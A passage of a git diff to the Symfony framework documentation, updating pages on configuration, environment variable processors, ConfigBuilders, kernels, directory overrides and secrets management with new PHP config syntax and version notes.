@@ -94,6 +94,20 @@ you can retrieve a workflow from it and use it as follows::
     $workflow->can($blogPost, 'publish'); // True
     $workflow->getEnabledTransitions($blogPost); // $blogPost can perform transition "publish" or "reject"
 
+Initialization
+--------------
+
+If the property of your object is ``null`` and you want to set it with the
+``initial_marking`` from the configuration, you can call the ``getMarking()``
+method to initialize the object property::
+
+    // ...
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
 Learn more
 ----------
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 29b8114ff53..46327c39e74 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,6 +433,13 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
+    # you can also exclude one or more files from linting
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+
+.. versionadded:: 5.4
+
+    The ``--exclude`` option was introduced in Symfony 5.4.
+
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 
diff --git a/configuration.rst b/configuration.rst
index 8a4b5366102..85c98040385 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,6 +60,13 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    files defined in YAML format. If you define configuration in XML and/or PHP
+    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
+    and ``.php`` file extensions.
+
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so
 there's not even any performance difference between them.
@@ -69,10 +76,10 @@ readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
-* **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
+* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration, but the
-  resulting configuration is less readable than the other formats.
+* **PHP**: very powerful and it allows you to create dynamic configuration with
+  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -517,7 +524,7 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
-                ]
+                ],
             ]);
         };
 
@@ -711,8 +718,41 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Regardless of how you set environment variables, you can see a full list with
-their values by running:
+Use the ``debug:dotenv`` command to understand how Symfony parses the different
+``.env`` files to set the value of each environment variable:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:dotenv
+
+    Dotenv Variables & Files
+    ========================
+
+    Scanned Files (in descending priority)
+    --------------------------------------
+
+    * ⨯ .env.local.php
+    * ⨯ .env.dev.local
+    * ✓ .env.dev
+    * ⨯ .env.local
+    * ✓ .env
+
+    Variables
+    ---------
+
+    ---------- ------- ---------- ------
+     Variable   Value   .env.dev   .env
+    ---------- ------- ---------- ------
+     FOO        BAR     n/a        BAR
+     ALICE      BOB     BOB        bob
+    ---------- ------- ---------- ------
+
+.. versionadded:: 5.4
+
+    The ``debug:dotenv`` command was introduced in Symfony 5.4.
+
+Additionally, and regardless of how you set environment variables, you can see all
+environment variables, with their values, referenced in Symfony's container configuration:
 
 .. code-block:: terminal
 
@@ -869,18 +909,15 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Controller\LuckyController;
-        use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return static function (ContainerConfigurator $container) {
             $container->services()
-                ->set(LuckyController::class)
-                    ->public()
-                    ->args([
-                        // pass this value to any $projectDir argument for any service
-                        // that's created in this file (including controller arguments)
-                        '$projectDir' => '%kernel.project_dir%',
-                    ]);
+                ->defaults()
+                    // pass this value to any $projectDir argument for any service
+                    // that's created in this file (including controller arguments)
+                    ->bind('$projectDir', '%kernel.project_dir%');
+
+            // ...
         };
 
 .. seealso::
@@ -917,6 +954,50 @@ parameters at once by type-hinting any of its constructor arguments with the
         }
     }
 
+.. _config-config-builder:
+
+Using PHP ConfigBuilders
+------------------------
+
+.. versionadded:: 5.3
+
+    The "ConfigBuilders" feature was introduced in Symfony 5.3.
+
+Writing PHP config is sometimes difficult because you end up with large nested
+arrays and you have no autocompletion help from your favorite IDE. A way to
+address this is to use "ConfigBuilders". They are objects that will help you
+build these arrays.
+
+Symfony generates the ConfigBuilder classes automatically in the
+:ref:`kernel build directory <configuration-kernel-build-directory>` for all the
+bundles installed in your application. By convention they all live in the
+namespace ``Symfony\Config``::
+
+    // config/packages/security.php
+    use Symfony\Config\SecurityConfig;
+
+    return static function (SecurityConfig $security) {
+        $security->firewall('main')
+            ->pattern('^/*')
+            ->lazy(true)
+            ->anonymous();
+
+        $security
+            ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
+            ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
+            ->accessControl()
+                ->path('^/user')
+                ->role('ROLE_USER');
+
+        $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
+    };
+
+.. note::
+
+    Only root classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
+    PHP objects which aren't autowired when using them as an argument type.
+
 Keep Going!
 -----------
 
diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index 89844d991b1..6679600e908 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -56,16 +56,16 @@ changes can be made to any Symfony 3.4 or higher app:
 
    .. code-block:: diff
 
-       # .gitignore
-       # ...
+         # .gitignore
+         # ...
 
-       ###> symfony/framework-bundle ###
+         ###> symfony/framework-bundle ###
        - /.env
        + /.env.local
        + /.env.local.php
        + /.env.*.local
 
-       # ...
+         # ...
 
 #. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
 
@@ -85,7 +85,7 @@ changes can be made to any Symfony 3.4 or higher app:
    and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php``
    file.
 
-.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
+.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.2/public/index.php
 .. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
 .. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env
 .. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 464bf7af984..5a2b2f98775 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -44,11 +44,15 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'router' => [
-                'http_port' => '%env(int:HTTP_PORT)%',
-            ],
-        ]);
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->router()
+                ->httpPort(env('HTTP_PORT')->int())
+            ;
+        };
 
 Built-In Environment Variable Processors
 ----------------------------------------
@@ -90,10 +94,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(SECRET)', 'some_secret');
-            $container->loadFromExtension('framework', [
-                'secret' => '%env(string:SECRET)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
+                $framework->secret(env('SECRET')->string());
+            };
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
@@ -131,10 +140,55 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
-            $container->loadFromExtension('framework', [
-                'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+                $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
+            };
+
+``env(not:FOO)``
+
+    .. versionadded:: 5.3
+
+        The ``not:`` env var processor was introduced in Symfony 5.3.
+
+    Casts ``FOO`` to a bool (just as ``env(bool:...)`` does) except it returns the inverted value
+    (falsy values are returned as ``true``, truthy values are returned as ``false``):
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                safe_for_production: '%env(not:APP_DEBUG)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="safe_for_production">%env(not:APP_DEBUG)%</parameter>
+                </parameters>
+
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('safe_for_production', '%env(not:APP_DEBUG)%');
 
 ``env(int:FOO)``
     Casts ``FOO`` to an int.
@@ -180,15 +234,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
-            $container->loadFromExtension('security', [
-                'access_control' => [
-                    [
-                        'path' => '^/health-check$',
-                        'methods' => '%env(const:HEALTH_CHECK_METHOD)%',
-                    ],
-                ],
-            ]);
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+                $security->accessControl()
+                    ->path('^/health-check$')
+                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+            };
 
 ``env(base64:FOO)``
     Decodes the content of ``FOO``, which is a base64 encoded string.
@@ -229,10 +283,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
-            $container->loadFromExtension('framework', [
-                'trusted_hosts' => '%env(json:TRUSTED_HOSTS)%',
-            ]);
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
+            };
 
 ``env(resolve:FOO)``
     If the content of ``FOO`` includes container parameters (with the syntax
@@ -281,12 +340,47 @@ Symfony provides the following env var processors:
 ``env(csv:FOO)``
     Decodes the content of ``FOO``, which is a CSV-encoded string:
 
-    .. code-block:: yaml
+    .. configuration-block::
 
-        parameters:
-            env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
-        framework:
-           trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
+            framework:
+               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
+                </parameters>
+
+                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+                $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
+            };
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -366,7 +460,7 @@ Symfony provides the following env var processors:
             // config/packages/framework.php
             $container->setParameter('env(PHP_FILE)', '../config/.runtime-evaluated.php');
             $container->loadFromExtension('app', [
-                'auth' => '%env(require:AUTH_FILE)%',
+                'auth' => '%env(require:PHP_FILE)%',
             ]);
 
 ``env(trim:FOO)``
@@ -509,9 +603,9 @@ Symfony provides the following env var processors:
                 clients:
                     default:
                         hosts:
-                            - { host: '%env(key:host:url:MONGODB_URL)%', port: '%env(key:port:url:MONGODB_URL)%' }
-                        username: '%env(key:user:url:MONGODB_URL)%'
-                        password: '%env(key:pass:url:MONGODB_URL)%'
+                            - { host: '%env(string:key:host:url:MONGODB_URL)%', port: '%env(int:key:port:url:MONGODB_URL)%' }
+                        username: '%env(string:key:user:url:MONGODB_URL)%'
+                        password: '%env(string:key:pass:url:MONGODB_URL)%'
                 connections:
                     default:
                         database_name: '%env(key:path:url:MONGODB_URL)%'
@@ -526,8 +620,8 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <mongodb:config>
-                    <mongodb:client name="default" username="%env(key:user:url:MONGODB_URL)%" password="%env(key:pass:url:MONGODB_URL)%">
-                        <mongodb:host host="%env(key:host:url:MONGODB_URL)%" port="%env(key:port:url:MONGODB_URL)%"/>
+                    <mongodb:client name="default" username="%env(string:key:user:url:MONGODB_URL)%" password="%env(string:key:pass:url:MONGODB_URL)%">
+                        <mongodb:host host="%env(string:key:host:url:MONGODB_URL)%" port="%env(int:key:port:url:MONGODB_URL)%"/>
                     </mongodb:client>
                     <mongodb:connections name="default" database_name="%env(key:path:url:MONGODB_URL)%"/>
                 </mongodb:config>
@@ -541,12 +635,12 @@ Symfony provides the following env var processors:
                     'default' => [
                         'hosts' => [
                             [
-                                'host' => '%env(key:host:url:MONGODB_URL)%',
-                                'port' => '%env(key:port:url:MONGODB_URL)%',
+                                'host' => '%env(string:key:host:url:MONGODB_URL)%',
+                                'port' => '%env(int:key:port:url:MONGODB_URL)%',
                             ],
                         ],
-                        'username' => '%env(key:user:url:MONGODB_URL)%',
-                        'password' => '%env(key:pass:url:MONGODB_URL)%',
+                        'username' => '%env(string:key:user:url:MONGODB_URL)%',
+                        'password' => '%env(string:key:pass:url:MONGODB_URL)%',
                     ],
                 ],
                 'connections' => [
@@ -609,16 +703,54 @@ Symfony provides the following env var processors:
 
 It is also possible to combine any number of processors:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        parameters:
+            env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
+        google:
+            # 1. gets the value of the AUTH_FILE env var
+            # 2. replaces the values of any config param to get the config path
+            # 3. gets the content of the file stored in that path
+            # 4. JSON-decodes the content of the file and returns it
+            auth: '%env(json:file:resolve:AUTH_FILE)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(AUTH_FILE)">%kernel.project_dir%/config/auth.json</parameter>
+            </parameters>
 
-    parameters:
-        env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
-    google:
-        # 1. gets the value of the AUTH_FILE env var
-        # 2. replaces the values of any config param to get the config path
-        # 3. gets the content of the file stored in that path
-        # 4. JSON-decodes the content of the file and returns it
-        auth: '%env(json:file:resolve:AUTH_FILE)%'
+            <!-- 1. gets the value of the AUTH_FILE env var -->
+            <!-- 2. replaces the values of any config param to get the config path -->
+            <!-- 3. gets the content of the file stored in that path -->
+            <!-- 4. JSON-decodes the content of the file and returns it -->
+            <google auth="%env(json:file:resolve:AUTH_FILE)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->setParameter('env(AUTH_FILE)', '%kernel.project_dir%/config/auth.json');
+        // 1. gets the value of the AUTH_FILE env var
+        // 2. replaces the values of any config param to get the config path
+        // 3. gets the content of the file stored in that path
+        // 4. JSON-decodes the content of the file and returns it
+        $container->loadFromExtension('google', [
+            'auth' => '%env(json:file:resolve:AUTH_FILE)%',
+        ]);
 
 Custom Environment Variable Processors
 --------------------------------------
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..81e2e33a004 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -190,10 +190,13 @@ parameter used, for example, to turn Twig's debug mode on:
 
     .. code-block:: php
 
-        $container->loadFromExtension('twig', [
-            'debug' => '%kernel.debug%',
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-        ]);
+            $twig->debug('%kernel.debug%');
+        };
 
 The Environments
 ----------------
@@ -248,13 +251,12 @@ includes the following:
     The cached "service container" that represents the cached application
     configuration.
 
-``UrlGenerator.php``
-    The PHP class generated from the routing configuration and used when
-    generating URLs.
+``url_generating_routes.php``
+    The cached routing configuration used when generating URLs.
 
-``UrlMatcher.php``
-    The PHP class used for route matching - look here to see the compiled regular
-    expression logic used to match incoming URLs to different routes.
+``url_matching_routes.php``
+    The cached configuration used for route matching - look here to see the compiled
+    regular expression logic used to match incoming URLs to different routes.
 
 ``twig/``
     This directory contains all the cached Twig templates.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f60d1ca8..66e9aae2bbe 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -234,12 +234,15 @@ because the configuration started to get bigger:
     .. code-block:: php
 
         // config/framework.php
-        $container->loadFromExtension('framework', [
-            'secret' => 'S0ME_SECRET',
-            'profiler' => [
-                'only_exceptions' => false,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework
+                ->secret('SOME_SECRET')
+                ->profiler()
+                    ->onlyExceptions(false)
+            ;
+        };
 
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..80d799085e9 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -82,25 +82,15 @@ Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 
     // src/ApiKernel.php
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class ApiKernel extends Kernel
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
-        {
-            // load only the bundles strictly needed for the API
-            $contents = require $this->getProjectDir().'/config/api_bundles.php';
-            foreach ($contents as $class => $envs) {
-                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
-                    yield new $class();
-                }
-            }
-        }
-
         public function getProjectDir(): string
         {
             return \dirname(__DIR__);
@@ -108,7 +98,7 @@ files so they don't collide with the files from ``src/Kernel.php``::
 
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
         }
 
         public function getLogDir(): string
@@ -116,25 +106,39 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
-            $container->setParameter('container.dumper.inline_factories', true);
-            $confDir = $this->getProjectDir().'/config/api';
-
-            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+            $container->import('../config/api/{packages}/*.yaml');
+            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+
+            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
+                $container->import('../config/api/services.yaml');
+                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import('../config/api/{services}.php');
+            }
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $confDir = $this->getProjectDir().'/config/api';
+            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
+            $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
+
+        // If you need to run some logic to decide which bundles to load,
+        // you might prefer to use the registerBundles() method instead
+        private function getBundlesPath(): string
+        {
+            // load only the bundles strictly needed for the API
+            return $this->getProjectDir().'/config/api_bundles.php';
+        }
     }
 
+.. versionadded:: 5.4
+
+    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 46a17e71351..46c60967f30 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -25,7 +25,58 @@ override it to create your own structure:
     │  ├─ cache/
     │  ├─ log/
     │  └─ ...
-    └─ vendor/
+    ├─ vendor/
+    └─ .env
+
+.. _override-env-dir:
+
+Override the Environment (DotEnv) Files Directory
+-------------------------------------------------
+
+By default, the :ref:`.env configuration file <config-dot-env>` is located at
+the root directory of the project. If you store it in a different location,
+define the ``runtime.dotenv_path`` option in the ``composer.json`` file:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+        "extra": {
+            "...": "...",
+            "runtime": {
+                "dotenv_path": "my/custom/path/to/.env"
+            }
+        }
+    }
+
+Then, update your Composer files (running ``composer update``, for instance),
+so that the ``vendor/autoload_runtime.php`` files gets regenerated with the new
+``.env`` path.
+
+You can also set up different ``.env`` paths for your console and web server
+calls. Edit the ``public/index.php`` and/or ``bin/console`` files to define the
+new file path.
+
+Console script::
+
+    // bin/console
+
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'some/custom/path/to/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
+Web front-controller::
+
+    // public/index.php
+    
+    // ...
+    $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
+
+    require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
+    // ...
+
 
 .. _override-config-dir:
 
@@ -85,7 +136,7 @@ your application::
     // src/Kernel.php
 
     // ...
-    class Kernel extends Kernel
+    class Kernel extends BaseKernel
     {
         // ...
 
@@ -117,12 +168,12 @@ for multiple directories):
         # config/packages/twig.yaml
         twig:
             # ...
-            default_path: "%kernel.project_dir%//resources/views"
+            default_path: "%kernel.project_dir%/resources/views"
 
     .. code-block:: xml
 
         <!-- config/packages/twig.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -140,9 +191,11 @@ for multiple directories):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'default_path' => '%kernel.project_dir%/resources/views',
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->defaultPath('%kernel.project_dir%/resources/views');
+        };
 
 Override the Translations Directory
 -----------------------------------
@@ -164,7 +217,7 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: xml
 
         <!-- config/packages/translation.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -184,11 +237,13 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'default_path' => '%kernel.project_dir%/i18n',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->defaultPath('%kernel.project_dir%/i18n')
+            ;
+        };
 
 .. _override-web-dir:
 .. _override-the-web-directory:
@@ -238,7 +293,7 @@ option in your ``composer.json`` file like this:
         "config": {
             "bin-dir": "bin",
             "vendor-dir": "/some/dir/vendor"
-        },
+        }
     }
 
 .. tip::
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 696ce519682..950f68528a3 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -48,7 +48,7 @@ running:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:generate-keys --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:generate-keys
 
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
@@ -78,7 +78,7 @@ Suppose you want to store your database password as a secret. By using the
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
-    $ php bin/console secrets:set DATABASE_PASSWORD --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
 
 This will create a new file for the secret in ``config/secrets/dev`` and another
 in ``config/secrets/prod``. You can also set the secret in a few other ways:
@@ -94,6 +94,11 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
     # or let Symfony generate a random value for you
     $ php bin/console secrets:set REMEMBER_ME --random
 
+.. note::
+
+    There's no command to rename secrets, so you'll need to create a new secret
+    and remove the old one.
+
 Referencing Secrets in Configuration Files
 ------------------------------------------
 
@@ -138,11 +143,14 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'password' => '%env(DATABASE_PASSWORD)%',
-            ]
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()
+                ->connection('default')
+                    ->password('%env(DATABASE_PASSWORD)%')
+            ;
+        };
 
 The actual value will be resolved at runtime: container compilation and cache
 warmup don't need the **decryption key**.
@@ -208,9 +216,9 @@ Listing the secrets will now also display the local variable:
       DATABASE_PASSWORD   "dev value"   "root"
      ------------------- ------------- -------------
 
-Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts
-all secrets and stores them in the local vault and ``secrets:encrypt-from-local``
-to encrypt all local secrets to the vault.
+Symfony also provides the ``secrets:decrypt-to-local`` command which decrypts
+all secrets and stores them in the local vault and the ``secrets:encrypt-from-local``
